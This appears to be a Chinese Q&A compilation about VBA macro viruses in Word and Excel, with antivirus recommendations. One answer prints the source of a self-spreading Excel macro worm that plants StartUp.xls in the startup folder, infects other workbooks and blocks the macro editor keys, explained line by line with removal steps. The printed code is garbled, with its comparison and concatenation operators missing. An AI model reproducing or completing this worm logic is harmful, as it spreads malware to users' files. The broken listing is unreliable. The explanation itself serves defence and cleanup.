本文目录一览：
- 1、macro.office.vba.gen.3027 Word文档感染，360安全卫士说是木马，求助！
- 2、这是一段vba病毒代码，有自动感染能力，麻烦专业人士给个详细的语句释义。顺便给个对应方法
- 3、vba(2701.04)是不是病毒程序
- 4、我用excel VBA做了一个简单的计算器，被杀毒软件拦截，怎么回事？
macro.office.vba.gen.3027 Word文档感染，360安全卫士说是木马，求助！
您好：
这样的情况一般是因为您的安全软件版本过旧导致的无法彻底查杀干净电脑中的病毒，然后导致的木马病毒再次复活，建议您使用最新版的腾讯电脑管家对您的电脑进行一下全面的杀毒吧，打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以，腾讯电脑管家是完全可以帮您查杀干净电脑中的病毒的，杀完毒重启电脑后就可以恢复正常了，您可以点击这里下载最新版的腾讯电脑管家：腾讯电脑管家下载
腾讯电脑管家企业平台：
这是一段vba病毒代码，有自动感染能力，麻烦专业人士给个详细的语句释义。顺便给个对应方法
算是一个比较弱的病毒吧，只要搜索StartUp.xls文件并删除，并且在打开EXCEL时禁用宏，然后将宏代码删除，就可完全解除。
以下是逐句释义：
Sub auto_open()
On Error Resume Next '出错时自动继续执行
If ThisWorkbook.Path Application.StartupPath And Dir(Application.StartupPath "\" "StartUp.xls") = "" Then '判断EXCEL启动路径并且检查是否有StartUp.xls文件
Application.ScreenUpdating = False '禁止屏幕刷新
ThisWorkbook.Sheets("StartUp").Copy '自制自身工作表
ActiveWorkbook.SaveAs (Application.StartupPath "\" "StartUp.xls") '在EXCEL启动路径下保存为StartUp.xls
n$ = ActiveWorkbook.Name '取得当前工作簿文件名
ActiveWindow.Visible = False '隐藏当前窗口
Workbooks("StartUp.xls").Save '将当前工作簿保存为StartUp.xls
'Workbooks(n$).Close (False) '无用代码
End If
Application.OnSheetActivate = "StartUp.xls!ycop" '指定工作表激活时运行宏StartUp.xls!ycop
Application.OnKey "%{F11}", "StartUp.xls!escape" '指定F11键对应的宏为StartUp.xls!escape
Application.OnKey "%{F8}", "StartUp.xls!escape" '指定F8键对应的宏为StartUp.xls!escape
End Sub
Sub ycop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name "StartUp" Then '判断当前工作簿的工作表名是否为"StartUp"
Application.ScreenUpdating = False '禁止屏幕刷新
n$ = ActiveSheet.Name '取得当前工作表名称
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1) '将StartUp.xls中的StartUp工作表复制到当前文件
End If
End Sub
代码功能貌似还不完整，感染能力很弱……
vba(2701.04)是不是病毒程序
这个不一定是病毒程序，vba可以是程序组件，可执行文件的配置存贮文件……
如果你不确定的话建议使用金山火眼进行检测。
我用excel VBA做了一个简单的计算器，被杀毒软件拦截，怎么回事？
j首先，金山卫士不是杀毒软件，只是一个安全辅助软件，杀毒功能很粗糙，不可信。他把这个程序当成宏病毒之类的东西了。运行之前完全退出金山卫士就可以了。
正规杀毒软件，免费的话有微软的MSE、avast、小红伞都很不错，360差远了。不懂得上卡饭论坛，杀毒软件的问题那里都有解答。
全部手打